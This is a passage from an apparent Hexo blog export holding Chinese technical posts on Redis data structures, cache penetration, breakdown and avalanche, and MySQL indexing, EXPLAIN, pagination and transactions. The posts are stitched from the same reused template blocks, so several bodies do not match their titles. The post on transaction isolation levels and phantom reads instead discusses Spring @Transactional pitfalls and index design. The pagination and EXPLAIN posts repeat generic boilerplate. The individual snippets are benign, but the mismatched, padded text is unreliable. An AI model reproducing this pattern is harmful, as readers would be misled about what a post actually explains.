title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>缓存穿透击穿雪崩怎么处理</title>
      <link href="//huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/"/>
      <url>//huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/</url>
      
        <content type="html"><![CDATA[<h1 id="缓存穿透击穿雪崩怎么处理"><a href="#缓存穿透击穿雪崩怎么处理" class="headerlink" title="缓存穿透击穿雪崩怎么处理"></a>缓存穿透击穿雪崩怎么处理</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 常见数据结构和使用场景</title>
      <link href="//redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/"/>
      <url>//redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-常见数据结构和使用场景"><a href="#Redis-常见数据结构和使用场景" class="headerlink" title="Redis 常见数据结构和使用场景"></a>Redis 常见数据结构和使用场景</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>数据库字段类型如何贴近业务</title>
      <link href="//shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/"/>
      <url>//shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="数据库字段类型如何贴近业务"><a href="#数据库字段类型如何贴近业务" class="headerlink" title="数据库字段类型如何贴近业务"></a>数据库字段类型如何贴近业务</h1><p>字段类型的选择直接影响性能和数据完整性。本文从实际项目经验出发讲如何选。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>分页查询性能问题和游标分页</title>
      <link href="//fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/"/>
      <url>//fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/</url>
      
        <content type="html"><![CDATA[<h1 id="分页查询性能问题和游标分页"><a href="#分页查询性能问题和游标分页" class="headerlink" title="分页查询性能问题和游标分页"></a>分页查询性能问题和游标分页</h1><p>分页查询看似简单，但 offset 越来越大时性能会急剧下降。本文讲游标分页的实现方式和适用场景。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>慢 SQL 排查和优化完整流程</title>
      <link href="//man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/"/>
      <url>//man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="慢-SQL-排查和优化完整流程"><a href="#慢-SQL-排查和优化完整流程" class="headerlink" title="慢 SQL 排查和优化完整流程"></a>慢 SQL 排查和优化完整流程</h1><p>慢 SQL 排查和优化完整流程是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL 事务隔离级别和幻读问题</title>
      <link href="//mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/"/>
      <url>//mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL-事务隔离级别和幻读问题"><a href="#MySQL-事务隔离级别和幻读问题" class="headerlink" title="MySQL 事务隔离级别和幻读问题"></a>MySQL 事务隔离级别和幻读问题</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>EXPLAIN 执行计划应该看哪些字段</title>
      <link href="//explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/"/>
      <url>//explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/</url>
      
        <content type="html"><![CDATA[<h1 id="EXPLAIN-执行计划应该看哪些字段"><a href="#EXPLAIN-执行计划应该看哪些字段" class="headerlink" title="EXPLAIN 执行计划应该看哪些字段"></a>EXPLAIN 执行计划应该看哪些字段</h1><p>EXPLAIN 是优化 SQL 的入口工具，理解它的输出是每个后端工程师的基本功。本文讲清楚几个关键字段的含义。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL 索引设计的几个核心原则</title>
      <link href="//mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/"/>
      <url>//mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL-索引设计的几个核心原则"><a href="#MySQL-索引设计的几个核心原则" class="headerlink" title="MySQL 索引设计的几个核心原则"></a>MySQL 索引设计的几个核心原则</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 